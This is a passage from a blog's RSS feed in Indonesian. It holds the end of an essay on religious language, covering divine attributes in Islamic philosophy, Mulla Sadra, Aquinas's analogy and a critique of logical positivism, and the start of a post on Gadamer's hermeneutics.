mereka&quot;, kalimat pertama menafikan kematerian Tuhan dengan akal dan kalimat kedua dimakna kekuasaan Tuhan dengan implikasi tashdiqiyah.&lt;br /&gt;&lt;br /&gt;Problematika yang berhubungan dengan sifat kesempurnaan ( ats-Tsubuti)&lt;br /&gt;Dalam menyifatkan Tuhan dengan sifat tsubuti kita akan menghadapi tiga jenis problematika:&lt;br /&gt;&lt;br /&gt;1. Ilmu dan kodrat yang terkandung dalam pengertian berilmu (âlim) dan berkuasa (qâdir), kedua sifat ini merupakan kategori kualitas jiwa. Dalam konteks ini, bagaimana kita menyifatkan Tuhan dengan kategori kualitas jiwa dimana termasuk salah satu dari bagian aksiden, padahal bukankah Tuhan lebih tinggi dan lebih mulia dari substansi dan aksiden?&lt;br /&gt;2. Di mana saja kita sifatkan suatu maujud dengan kedua sifat tersebut (âlim dan qâdir) maka pemahaman umumnya adalah subyek mempunyai dzat dan sifat ilmu dan kodrat, dan kemestian dari penyifatan tersebut adalah terangkapnya Tuhan dari dzat dan sifat, sedangkan rangkapan pertanda kebutuhan, sementara kebutuhan adalah keniscayaan dari makhluk (mumkin al-wujud) yang merupakan lawan dari Wâjib al-wujud.&lt;br /&gt;3. Sebagian dari sifat-sifat tsubuti, seperti mendengar (samî&#39;) dan melihat (bashîr) memerlukan media-media materi, lantas bagaimana kita bisa menisbahkan Tuhan dengan sifat-sifat tersebut? Dan hal ini juga bertentangan dengan rumusan tauhid dimana Tuhan suci dari aspek-aspek materi.&lt;br /&gt;Para teolog Islam sepakat bahwa seluruh sifat yang dialamatkan kepada Tuhan sebenarnya dimaksudkan untuk menggambarkan suatu realitas yang berada di luar akal manusia. Bahasa agama adalah bahasa umum (bahasa yang dipakai dan dipahami secara umum), dan proposisi-proposisi yang terdapat dalam teks suci agama bukanlah sesuatu yang bersifat ambiguitas dan bukan bahasa syair (maksudnya bahasa yang muncul dari daya khayal manusia) serta bukan pula suatu cerita legenda.&lt;br /&gt;Dan jika kita menemukan problematika, maka dapat dipecahkan dengan bantuan potensi yang dimiliki akal pikiran, mukasyafah (pencapaian spiritual) hati dan elaborasi ayat serta riwayat. Misalnya pandangan mereka terhadap persoalan pertama dalam sifat tsubuti adalah bahwa ketika Tuhan disifatkan dengan sifat-sifat seperti berilmu dan berkuasa, tidak mesti sifat-sifat tersebut dikonsepsi sebagai suatu aksiden dan kualitas jiwa, akan tetapi dikarenakan keagungan dan ketinggian eksistensi-Nya, maka ilmu dan kodrat adalah terwujud dengan sendirinya (swa-wujud) dan dzat Tuhan itu sendiri identik dengan ilmu dan kodrat. Orang awam, menggunakan bahasa agama dalam pemahaman umum tanpa memperhatikan problematika dan kekurangan yang ada, para filosof dan teolog dalam pembicaraan sehari-hari juga menggunakan cara masyarakat umum, tetapi dalam burhan dan argumentasi melakukan pendekatan khusus (pendekatan ilmu).&lt;br /&gt;Tentang problematika kedua, adalah benar bahwa berilmu dan berkuasa dalam bahasa Arab bermakna dzat yang disertai dengan ilmu dan kodrat, tetapi dari segi argumentasi akal, Tuhan adalah wujud murni dan antara dzat Tuhan dan sifat-sifat-Nya tidak terdapat dualitas, maka harus dikatakan bahwa sifat tersebut terwujud dengan sendirinya (swa-wujud) dan tidak bersifat aksiden pada dzat (tak menempel pada dzat). Filosof dan teolog menyifatkan Tuhan dengan makna bahasa yang digunakan orang-orang awam dan tanpa melakukan perubahan dalam makna tersebut, dan argumentasi rasionallah yang mengantarkan mereka pada pengertian dan pemaknaan yang lebih tinggi dan lebih sempurna dari pemahaman-pemahaman umum. Dan pemahaman yang lebih tinggi tidak mesti melakukan intervensi dan perubahan dalam penggunaan kata; namun mungkin saja orang-orang menyifatkan Tuhan tapi tidak memperhatikan bahwa ilmu merupakan kategori kualitas (salah satu bagian dari aksiden) dan menempel pada dzat dan juga ia menyifatkan Tuhan dengan sifat tersebut tanpa memperhatikan konsekuensi konklusi argumentasi, oleh sebab itu ketika dibahas secara rasional maka muncullah problematika-problematika tersebut.&lt;br /&gt;Adapun tentang problematika ketiga disebutkan bahwa kekhususan-kekhususan partikular tidak mesti dipandang sebagai batasan dan mahiyah dari sifat-sifat tersebut. Kekhususan-kekhususan tersebut memiliki pengertian tertentu dan bukan merupakan inti makna, sebab aktualitas dan hakikat mendengar (samî&#39;) dan melihat (bashîr) adalah kehadiran sesuatu yang didengarkan di sisi yang mendengar dan kehadiran yang dilihat di sisi yang melihat, kendatipun dalam hal ini tidak melibatkan dan menggunakan alat dan media materi. Dan berasaskan konsep tauhid, yang telah ditetapkan oleh para filosof Islam bahwasanya dzat Tuhan adalah basith (bersifat mencakup dan meliputi segala sesuatu), maka dalam hal ini tidak ada makna kehadiran materi di sisi materi atau kehadiran sesuatu di sisi sesuatu (berbeda dengan manusia yang membutuhkan sesuatu yang lain sebagai media dalam meraih sesuatu).&lt;br /&gt;&lt;br /&gt;Analisa Sifat-sifat dalam Hikmah Muta&#39;aliyah&lt;br /&gt;Mulla Shadra, dalam kitab Asfar jilid keenam, membahas segala permasalahan yang berhubungan dengan sifat-sifat Tuhan. Langkah pertama yang ia lakukan adalah membagi sifat-sifat, ia berkata, &quot;Sifat-sifat terbagi menjadi sifat sempurna yang tetap (îjâbi tsubûti) dan sifat tak sempurna yang tertolak (salbî taqdîsi), dimana kitab suci mengungkapkan kedua sifat tersebut, &quot;Maha suci nama Tuhanmu yang mempunyai keagungan dan kemuliaan&quot;, sifat jalaliyah adalah mensucikan dzat-Nya dari segala keserupaan dengan yang lain dan dzat suci Tuhan lebih agung dan lebih tinggi dari apa-apa yang disifatkan terhadap-Nya, sifat Mulia (ikrâm) adalah suatu sifat yang &quot;dengannya&quot; Tuhan memuliakan diri-Nya sendiri, dan kesimpulannya adalah pemilik kesempurnaan tersebut adalah pemilik kemuliaan.[7]&lt;br /&gt;Selanjutnya sifat-sifat kelompok pertama (salbî taqdîsi) merupakan negasi terhadap segala kekurangan dan ketiadaan, serta menekankan bahwa seluruh sifat-sifat tersebut kembali kepada satu penegasian yaitu negasi kebergantungan (menolak segala sifat yang implisit menceritakan tentang kebergantungan Tuhan), sifat-sifat tersebut jika ditinjau sebagai negasi dalam negasi maka kembali bermakna afirmasi.&lt;br /&gt;Sifat-sifat kelompok kedua (sifat tsubûti) juga terbagi atas dua jenis: 1) sifat hakikat (hakikiyah) seperti ilmu, hidup dan…, 2) sifat tambahan (idhâfiyah) seperti pencipta, pemberi rezki dan…. Kemudian seluruh sifat-sifat hakiki kembali kepada sifat keniscayaan wujud (wujubul wujud) dan seluruh sifat tambahan dikembalikan kepada satu sifat tambahan (idhâfah) yaitu sifat tambahan kepenciptaan (qayyumiyah). Oleh karena itu:&lt;br /&gt;&lt;br /&gt;1.Seluruh sifat-sifat salbî dikembalikan kepada satu penegasian yakni negasi kebergantungan dan kebergantungan itu sendiri mempunyai makna negasi, jadi negasi kebergantungan adalah negasi negasi (kebergantungan) yang hasilnya adalah afirmasi.&lt;br /&gt;2.Negasi negasi tersebut yang kembali kepada sifat afirmasi yang sumbernya adalah intensitas wujud yang kuat.&lt;br /&gt;3.Seluruh sifat-sifat afirmasi hakiki juga kembali kepada satu sifat yaitu sifat keniscayaan wujud (wujubul wujud), dimana sifat ini juga bersumber dari intensitas wujud yang kuat.&lt;br /&gt;4.Seluruh sifat-sifat afirmasi tambahan (idhâfi) kembali kepada sifat kepenciptaan (qayyumiyah), dimana sifat ini juga berdiri tegak pada wujubul wujud.&lt;br /&gt;Konklusi dari analisa dan uraian di atas bahwa wujubul wujud merupakan prinsip dan asas utama bagi seluruh sifat-sifat jalal dan jamal Tuhan serta tidak ada jalan bagi multiplisitas dan kejamakan dzat suci Tuhan.&lt;br /&gt;Mulla Shadra juga mempunyai pembagian lain terhadap sifat-sifat, ia berkata, &quot;sifat-sifat dibagi menjadi sifat yang terinderai dan sifat yang terkonsepsi dengan akal, dan kedua bagian tersebut masing-masing terbagi lagi menjadi sifat yang identik dengan yang disifati dan tidak identik dengan yang disifati. Sifat yang pertama[8] seperti kebersambungan untuk materi, sifat yang kedua[9] seperti sifat hitam untuk materi, sifat yang ketiga[10] seperti keberilmuan untuk akal dan sifat yang keempat[11] seperti keberilmuan untuk manusia.[12]&lt;br /&gt;Adapun sifat-sifat Tuhan bukan dari jenis sifat-sifat yang terinderai sebagaimana anggapan aliran Mujassimiyah dan Musyabbihiyah dan juga bukan dari jenis sifat-sifat yang mengaksiden (menempel) pada dzat sebagaimana pandangan Asy&#39;ariyyah serta tidak sebagaimana konsep keterpisahan sifat dari dzat sebagaimana gagasan Karrâmiyyah. Selanjutnya Mulla Shadra mengungkapkan bahwa eksistensi (wujud) yang mempunyai satu hakikat tetapi pada saat yang sama juga terdapat multiplisitas dan keragaman wujud yang bergradasi yang meliputi wujud materi hingga wujud non materi atau mumkin al-wujud (keseluruhan wujud selain Tuhan) dan Wâjib al-Wujud (Tuhan).&lt;br /&gt;Kesempurnaan-kesempurnaan eksistensi juga seperti tersebut di atas, karena semua sifat-sifat kesempurnaan jika ditinjau dari segi pengertian dan komprehensinya maka bersifat univokal (musytarak maknawi)[13] dan bukan homonim atau equivokal (musytarak lafzhi), tetapi kalau dipandang dari sudut individu-individu luarnya (misdaq, extensi) maka sifat-sifat tersebut adalah berbeda dan bergradasi.[14]&lt;br /&gt;Oleh karena itu, sebagaimana dalam kaidah eksistensi (ontologi) bahwa perbedaan dalam individu-individu luar tidak menyebabkan timbulnya perbedaan dalam pengertian (komprehensi) eksistensi sehingga bersifat homonim (musytarak lafzhi).&lt;br /&gt;Berkenan dengan masalah ini, Mulla Shadra mengungkapkan persoalan ilmu sebagai contoh, ia menyatakan bahwa hakikat ilmu adalah satu dimana defenisinya adalah hadirnya yang diketahui (ma&#39;lûm) di sisi yang mengetahui (âlim), hakikat ilmu ini teraktual dalam bentuk sifat kesempurnaan bagi individu-individu makhluk tapi dzat makhluk berbeda dengan sifat ilmu tersebut, hal ini berbeda dengan Wâjib al-Wujud dimana pada tingkatan dzat-Nya adalah identik dengan seluruh sifat-Nya tapi seluruh sifat tersebut masing-masing memiliki pengertian yang berbeda.[15]&lt;br /&gt;&lt;br /&gt;b. Teori dari Para Teolog dan Filosof Masehi Barat&lt;br /&gt;&lt;br /&gt;Setelah mengenal karakteristik-karakteristik bahasa agama dalam sudut pandang filsafat dan teologi Islam, sekarang kita berusaha mengungkapkan apa yang dilukiskan tentang bahasa agama dari kalangan filosof dan teolog Kristen Barat sehingga kita juga dapat mengenal kekhususan-kekhususan bahasa agama yang terdapat dalam teologi dan filsafat Kristen.&lt;br /&gt;&lt;br /&gt;1. Teori Analogi Thomas Aquinas&lt;br /&gt;Thomas Aquinas, teolog dan filosof besar Masehi, dalam masalah bahasa agama berpijak pada teori analogi. Ia menjelaskan bahwa sifat-sifat dan predikat-predikat yang dinisbahkan kepada Tuhan seperti adil, ilmu dan kuasa juga berlaku bagi makhluk-makhluk; sebagamana dalam ayat 13 dan 14 bab ketiga kitab Taurat, Tuhan disifatkan dengan eksistensi, dan makhluk-makhluk juga tersifatkan dengan sifat ini. Tetapi predikat-predikat ini untuk masing-masing dua subyek tidak dapat digunakan dalam bentuk equivokal (homonim, musytarak lafzhi) dan univokal (musytarak maknawi); misalnya antara keadilan Tuhan dan keadilan manusia yang mempunyai hubungan dan keserupaan, sementara predikat adil tersebut tidak equivokal, dan dari dimensi bahwa terdapat perbedaan-perbedaan di antara Tuhan yang tidak terbatas dan manusia yang terbatas maka predikat tersebut juga tidaklah univocal. Dalam hal ini Aquinas memperlihatkan suatu bentuk analogi dalam penggunaan yaitu keserupaan yang identik dengan perbedaan dan perbedaan yang identik dengan keserupaan, ia membolehkan penggunaan satu kata dalam dua wilayah yang berbeda.[16]&lt;br /&gt;Demikian pula ungkapan Gilson, sebuah kata dalam bentuk univokal yang dipredikasikan kepada subyek sebagai genus, difrensia atau aksiden atas subyek itu, akan tetapi tidak satupun dari predikat-predikat tersebut (dengan makna tersebut) dinisbahkan kepada Tuhan. Dalil dari konklusi tersebut dapat ditemukan dalam esensi hubungan yang berlaku di antara maujud-maujud lain dengan Tuhan… Tuhan identik dengan eksistensi. Setiap yang ada pada Tuhan bersumber dari keniscayaan dzat-Nya, sementara apa yang ada pada maujud-maujud lain diperoleh dari jalan partisipasi. Seluruh kesempurnaan secara hakiki dan esensial disandarkan kepada Tuhan sementara untuk maujud-maujud lain hanya dipredikasikan secara aksiden. Dari sisi lain, kita tidak dapat memandang bahwa di antara sifat-sifat Tuhan dan sifat-sifat makhluk-Nya terdapat pertentangan dan perbedaan yang eksitrim, dalam bentuk bahwa sifat-sifat tersebut hanya digunakan dalam bentuk homonim. Pandangan ini menurut James Ross menjatuhkan manusia ke dalam jurang penyerupaan (tasybih) dan mematikan rasionalisasi (ta&#39;thil).[17]&lt;br /&gt;Thomas Aquinas mengungkapkan teori analogi dan menafikan homonim serta univokal di antara sifat-sifat Tuhan dan sifat-sifat makhluk-Nya sesudah menerima bahwa statmen-statmen keagamaan bermakna dan bersumber dari realitas.&lt;br /&gt;Problem mendasar dari teori di atas tidak lain adalah ia (Thomas Aquinas) menyangka bahwa jika kita menerima univokal sifat-sifat Tuhan dan sifat-sifat manusia maka akan terperangkap pada penyerupaan dimana kesatuan makna terimplikasi dari kesatuan individu, dengan kata lain terjadi ia menyamakan antara pengertian (komprehensi) dan individu luar (misdaq). Namun sebagaimana dalam pembahasan Mulla Shadra yang berkenan dengan masalah ini, homonim tidak akan menyebabkan penyerupaan, alasan yang utama dalam konteks ini adalah terdapat perbedaan individual antara Tuhan dan makhluk walaupun terdapat kesamaan makna antara keduanya.&lt;br /&gt;&lt;br /&gt;2. Teori Positivisme Logikal&lt;br /&gt;Positivisme adalah suatu aliran filsafat yang mengalami banyak perubahan mendasar dalam perjalanan sejarahnya. Istilah Positivisme pertama kali digunakan oleh Francis Biken seorang filosof berkebangsaan Inggeris. Ia berkeyakinan bahwa tanpa adanya pra asumsi, komprehensi-komprehensi pikiran dan apriori akal tidak boleh menarik kesimpulan dengan logika murni maka dari itu harus melakukan observasi atas hukum alam.&lt;br /&gt;Istilah ini kemudian juga digunakan oleh Agust Comte dan dipatok secara mutlak sebagai tahapan paling akhir sesudah tahapan-tahapan agama dan filsafat. Agust Comte berkeyakinan bahwa makrifat-makrifat manusia melewati tiga tahapan sejarah: pertama, tahapan agama dan ketuhanan, pada tahapan ini untuk menjelaskan fenomena-fenomena yang terjadi hanya berpegang kepada kehendak Tuhan atau Tuhan-Tuhan; tahapan kedua, adalah tahapan filsafat, yang menjelaskan fenomena-fenomena dengan pemahaman-pemahaman metafisika seperti kausalitas, substansi dan aksiden, esensi dan eksistensi; dan adapun Positivisme sebagai tahapan ketiga, menafikan semua bentuk tafsir agama dan tinjauan filsafat serta hanya mengedepankan metode empiris dalam menyingkap fenomena-fenomena.&lt;br /&gt;Pada tahun 1930 M, istilah Positivisme berubah lewat kelompok lingkaran Wina menjadi Positivisme Logikal, dengan tujuan menghidupkan kembali prinsip tradisi empiris abad ke 19. Lingkaran Wina menerima pengelompokan proposisi yang dilakukan Hume dengan analitis dan sintetis, dan berasaskan ini kebenaran proposisi-proposisi empiris dikategorikan bermakna apabila ditegaskan dengan penyaksian dan eksperimen, dan proposisi-proposisi metafisika yang tidak dapat dieksprimenkan maka dikategorikan sebagai tidak bermakna dan tidak memiliki kebenaran. Kesimpulan pandangan ini adalah agama dan filsafat (proposisi-proposisi agama dan filsafat) ambiguitas dan tidak bermakna, karena menurut kaum positivisme syarat suatu proposisi memiliki makna adalah harus bersifat analitis, yakni predikat diperoleh dari dzat subyek kemudian dipredikasikan atas subyek itu sendiri dan kebenarannya lahir dari proposisi itu sendiri serta pengingkarannya menyebabkan kontradiksi, atau mesti bersifat empiris, yakni melalui proses observasi dan pembuktian.&lt;br /&gt;Dengan demikian, sebagaimana ungkapan Kornop – salah seorang anggota dari Lingkaran Wina – dalam suatu risalah berjudul &quot;Menolak metafisika dengan analisis logikal teologi&quot;, kalimat-kalimat yang mengungkapkan perasaan (affective), seperti: alangkah indahnya cuaca! Atau pertanyaan, seperti: Di manakah letak kota Qum? Atau kalimat-kalimat perintah, metafisika dan agama, karena kalimat-kalimat dan proposisi-proposisi tersebut tidak melewati proses observasi dan eksprimen maka serupa dengan proposisi-proposisi yang tidak benar (bohong).&lt;br /&gt;Kaum Positivisme, seiring dengan perjalanan waktu, mengubah pandangannya yang ekstrim dan perlahan-lahan tidak menegaskan kemestian pembuktian dan eksperimen dalam menguji kebenaran suatu proposisi dan bahkan eksprimen tidak lagi dijadikan tolok ukur kebenaran proposisi. Mereka menyadari bahwa jika tolok ukur kebenaran (memiliki makna) proposisi-proposisi adalah melewati proses pembuktian dan eksperimen, maka sangat banyak proposisi-proposisi empiris yang tidak akan bermakna (tidak benar), karena tidak dapat dibuktikan secara yakin (100%). Mazhab filsafat ini dalam bagian lain mengakui bahwa manusia tidak mampu menyingkap hakikat realitas – dalam bentuk pembuktian, penegasan, dan bahkan pembatalan – tetapi hanya sebatas pemuasan akal.[18]&lt;br /&gt;Kesimpulan dari semua pandangan kaum Positivisme adalah bahwa proposisi-proposisi agama yang karena tidak melewati observasi dan eksprimen maka tidak dikategorikan sebagai makrifat dan pengetahuan yang bermakna (baca: proposisi agama tidak benar) dan bahasa agama karena tidak dapat dibuktikan kebenarannya secara eksprimen, maka tidak menjadi makna yang dapat diperhitungkan.&lt;br /&gt;Mazhab Positivisme mendapatkan kritikan dan sanggahan yang berat dari pendukung-pendukungnya sendiri, seperti Wittgenstein dan Poper, dibawah ini akan diungkapkan sebagian dari kritikan-kritikan mereka:&lt;br /&gt;&lt;br /&gt;1.Teori evolusi dan tiga tahapan dari Agust Comte sama sekali tidak memiliki bukti sejarah yang otentik dan argumen keilmuan yang akurat, landasan ketidakbenaran teori tersebut adalah karena menghubungkan tahapan-tahapan sejarah dari sistem masyarakat Eropa pada zaman itu dan kemudian menggeneralisasikan pada seluruh tahapan sejarah dunia. Di samping itu, dalam filsafat ilmu kontemporer para ilmuwan telah membahas dan mengkaji tentang kebutuhan ilmu terhadap filsafat dan pengaruh metafisika terhadap teori-teori ilmu.&lt;br /&gt;2.Demikian pula asas Positivisme tentang tolok ukur kebenaran proposisi yang menetapkan bahwa proposisi hanya memiliki makna (kebenaran) apabila dapat dieksperimenkan dan diobservasi. Dan proposisi-proposisi yang non-empiris dikatakan tidak bermakna sebenarnya tidak berangkat dari asas analisis dan tautologi (kebenaran tampak dari dirinya sendiri) dan juga bukan berdasarkan sintetis yang dapat dibuktikan dengan penyaksian dan eksperimen.&lt;br /&gt;3.Kaum Positivisme memandang bahwa seluruh proposisi-proposisi metafisika tidak bermakna; padahal sebagian dari proposisi tersebut bersifat analitik, seperti: setiap akibat membutuhkan sebab; sedangkan menurut mereka proposisi-proposisi analitik adalah bermakna.&lt;br /&gt;4.Menurut mazhab ini, secara prinsipil proposisi-proposisi agama tidak sampai pada tahapan yang benar dan bohong, oleh karena itu, penegasian benar dan bohong dari pendukung mazhab ini yang dinisbahkan terhadap proposisi-proposisi agama adalah tidak bermakna.&lt;br /&gt;5.Kritikan kita yang paling mendasar terhadap Positivisme adalah menyangkut masalah-masalah yang prinsipil dan berasas. Di samping kita mengakui kebenaran metode empiris juga memandang sah metode logikal dan rasional dalam meraih makrifat. Kita memandang benar semua metode logikal, rasional, syuhudi, naqli (teks suci)[19] dan sejarah.[20]&lt;br /&gt;Setelah kami menampilkan dua bentuk pendekatan dan teori terhadap bahasa agama yang terdapat dalam teologi dan filsafat Kristen dan Barat, untuk tidak larut dalam pembahasan yang berkepanjangan, maka kami cukupkan pengenalan terhadapnya dengan menggunakan dua pendekatan dan teori tersebut. Kendatipun pada hakikatnya pembahasan bahasa agama yang ada pada teologi dan filsafat Kristen dan Barat ini adalah jauh lebih luas serta sangat kompleks (masih terdapat berbagai aliran dan pandangan, seperti teori analitik bahasa, teori simbolik, teori permainan bahasa (language game) dan…), bahkan boleh dikatakan bahwa hingga sekarang ini, pembahasan tersebut belum tuntas dan masih belum ditemukan pemecahannya yang akurat yang bebas dari berbagai kelemahan dan kritikan.&lt;br /&gt;Adapun dalam teologi dan filsafat Islam meskipun pembahasan ini tidak begitu luas dan tidak terdapat berbagai aliran dan pandangan, akan tetapi berkat kemurnian dan keorisinalan ajaran Islam (kitab suci al-Qur&#39;an) serta ilham dan petunjuk yang didapatkan oleh para teolog dan filosof Islam dari kitab suci tersebut sehingga menyebabkan pandangan dan pemikiran mereka dalam masalah ini mengarah pada kesatuan dan keselarasan universal (misalnya mereka berpandangan bahwa proposisi-proposisi agama adalah bermakna), walaupun masih terdapat perbedaan secara partikular, misalnya perdebatan tentang sifat-sifat Tuhan dan sifat-sifat makhluk-Nya apakah bersifat homonim atau univokal.[]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________&lt;br /&gt;[1] . Amir Abbas Ali Zamani, Zabône Dîn; dalam bentuk pengungkapan pertanyaan-pertanyaan dan penganalisaan serta penguraian jawaban-jawaban yang berhubungan dengannya.&lt;br /&gt;[2]. Setiap dari pertanyaan-pertanyaan tersebut, telah diberikan jawabannya oleh pemikir dan penulis muslim dan bukan muslim, yang dalam tulisan terbatas ini tidak akan diuraikan, maka dari itu untuk memahami topik urgen ini perlu merujuk pada kitab-kitab yang membahas tentang &quot;bahasa agama&quot;.&lt;br /&gt;[3] . Abdul Husein Khusru Panoh, Kalâme Jadîd, hal. 329-330.&lt;br /&gt;[4] . Abdul Husein Khusru Panoh, Kalâme Jadîd, hal. 330.&lt;br /&gt;[5] . Abdul Husein Khusru Panoh, Kalâme Jadîd, hal.330.&lt;br /&gt;[6] . Izzuddin Reza Nezyood, Kalâm-e Tathbîqi, hal. 96-97.&lt;br /&gt;[7] . Shadruddin Syirazi, al-Asfar, jilid 6, hal. 118.&lt;br /&gt;[8] . Sifat yang terinderai yang identik dengan yang disifati&lt;br /&gt;[9] . Sifat yang terinderai tapi tidak identik dengan yang disifati.&lt;br /&gt;[10] . Sifat yang terkonsepsi dengan akal yang identik dengan yang disifati.&lt;br /&gt;[11] . Sifat yang terkonsepsi dengan akal tapi tidak identik dengan yang disifati.&lt;br /&gt;[12] . Shadruddin syirazi, al-Asfar, jilid 6, hal. 123.&lt;br /&gt;[13] . Lihat makalah kami yang berjudul Shirful Wujud.&lt;br /&gt;[14] . Shadruddin Syirazi, al-Asfar, jilid 6, hal. 124-125.&lt;br /&gt;[15] . Ibid, hal. 125.&lt;br /&gt;[16] . Akli wa I&#39;tiqad-e Dîni, Michael Peterson, penerjemah: Ahmad Naraqi. Hal. 256-257.&lt;br /&gt;[17] . Kalam Jadîd, Abdul Husain Khusru Panoh, hal.332.&lt;br /&gt;[18] . Abdul Husain Khusru Panoh, Kalâme Jadîd, hal. 334 -335.&lt;br /&gt;[19] . Dalil-dalil yang bersumber dari teks-teks suci agama, seperti hadis Nabi dan kitab suci al-Qur&#39;an, Injil, Taurat dan lain sebagainya.&lt;br /&gt;[20] . Abdul Husain Khusru Panoh, Kalâme Jadîd, hal. 336.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/bahasa-agama.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6JyufCatvBxu19pXToFWP2v4B33qm4mi8EU2K-03RNLYzMHEdVwJsDnOVPLI5Tlgza_KYKhNCvnROc1wxuahOYC39bKUz6z-HH0lNc1AhdqKkg3JsbhCE0d5kEL3IuTc0MKznY7W18Ec/s72-c/ayat+ci2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-3605581917322766924</guid><pubDate>Thu, 01 May 2008 18:31:00 +0000</pubDate><atom:updated>2008-09-20T01:20:36.061-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat</category><title>HANS-GEORG GADAMER</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;1. Pengantar&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Hans-Georg Gadamer mahaguru pada Universitas Heidelberg, berasal dari lingkungan Marburg yang pada waktu itu sering mengalami disintegrasi. Gadamer “mencari orientasi baru dalam satu dunia yang kehilangan orientasi”.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Latar belakang pendidikan formalnya adalah studi bahasa-bahasa dan kebudayaan klasik serta filsafat. Selain dipengaruhi oleh Heidegger, Gadamer juga dipengaruhi oleh Plato, beberapa tema Neo-Kantianisme, Hegel (khuhsusnya dalam negativitas pengalaman). Gadamer juga melihat adanya kesinambungan Neo-Kantianisme dengan fenomenologi Husserl. Namun, perluh dicatat bahwa hermeneutika Gadamer kendati dekat dengan Hegel, tidak bertolek dari subjektivisme yangb kimplisit pada Hegel dan semua metafisika sebelum Heidegger. Meskpun dekat dengan Plato, Gadamer tidak mengendalikan doktrin ide Plato maupun konsepsinya tentang kebenaran dan bahasa.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Gadamer melihat fenomena hermeneutika pada dasarnya sama sekali bukan suatu masalah metode. Degan demikian, tujuan penelitiannya bukan pula suatu Methodenlehre yang sekadar masalah merumuskan logika yang dipakai dalam berbagai bidang kegiatan megetahui. Tujuannya juga bukan menyusun suatu teori umu interpretasi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Hermeneutika dipandang sebagai suatu teori pengalaman yang sesungguhnya, sebagai suatu usaha filsafati untuk mempertanggungjawabkan suatu pemahaman, dan sebagai suatu proses ontologis di dalam manusia. Ia berpendapat bahwa tugas yang paling fundamental hermeneurika tidaklah mengembangkan suatu prosedur pemahaman, tetapi meneliti “apa yang selalu terjadi” manakala kita memahami. Hermeneutika adalah pnelitian semua pengalaman pemahaman. Gadamer merumuskan pemahaman sebagai sutu masalah ontologis.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;2. Fenomena Pemahaman&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Hemeneutika adalah memasuki diskusi dengan teks dari masa lalu. Oleh karena itu, masalah sentral hermeneutika adalah masalah konfortasi atau perjumpaan masa-kini dan masa-lalu, atau yang disebut juga masalah penerapan (applicatio). Jarak waktu menciptakan “posisi anatara” yang menjadi kancah hermeneutika. Posisi diantara yang asing dan yang dikenal berada di antara yang dimasud di waktu tertentu dalam sejarah dan ketermasukannya pada suatu tradisi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Konfrontasi atau perjumpaan ini tidak dapat dihindari, tatapi sejauh mungkin justru harus disadari pristiwanya, kejadiannya, tidak dengan mengeluarkan masa kini, melainkan dengan sadar memainkan sehingga arti sesungguhnya dari teks atau fakta berbicara. Dengan ini, bagi Gadamer, hakikat hermeneutika adalah ontologi dab fenomenologi pemahaman. Yakni, apa hakikat pemahaman dan bagaimana mengungkapkannya sebagaimana adanya.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Sejalan dengan tesis Heidegger yang mengatakan bahwa Ada secara radikal historikal sifatnya, begitu juga pula Gadamer mengatakan bahwa pwmwhaman bersifat historikal. Hal ini berarti bahwa pemahaman, bahkan manusia itu sendiri dikuasai oleh sejarah. Karena “agaknya tidak dapat diragukan lagi bahwa cakrawala besar masa-lalu tempat kebudayaan dan masa-kini kita hidup, memengaruhi kita dalam setiap hal yang kita maui, kita harapkan atau kita takutkan dan kita khawatirkan di masa-depan”. Sejarah dan masa-lalu adalah suatu struktur dengan pemahaman (juga pengetahuan, pikiran) kita. Gerak historikal merupakan inti pemahaman. Umumnya tanpa disadari, pemahaman adalah hasil interaksi masa-lalu dan masa-kini.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Juga oleh gerak historikalnya, jika pemahaman adalah prosesual. Selalu mengadakan reviosi adalah ciri hakiki pemahaman. Berkat derap perjalanna waktu, senantiasa akan terdapat aspek-aspek baru yang lagi terbebaskan dan tampil ke permukaan sehingga setiap interpretasi baru dapat dipandang sebagai pontensialitas-pontensialitas data tradisi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Pemahaman adalah dinamika dasar wujud manusia, bukan perbuatan subjektivita. Pemahaman adalah suatu modus 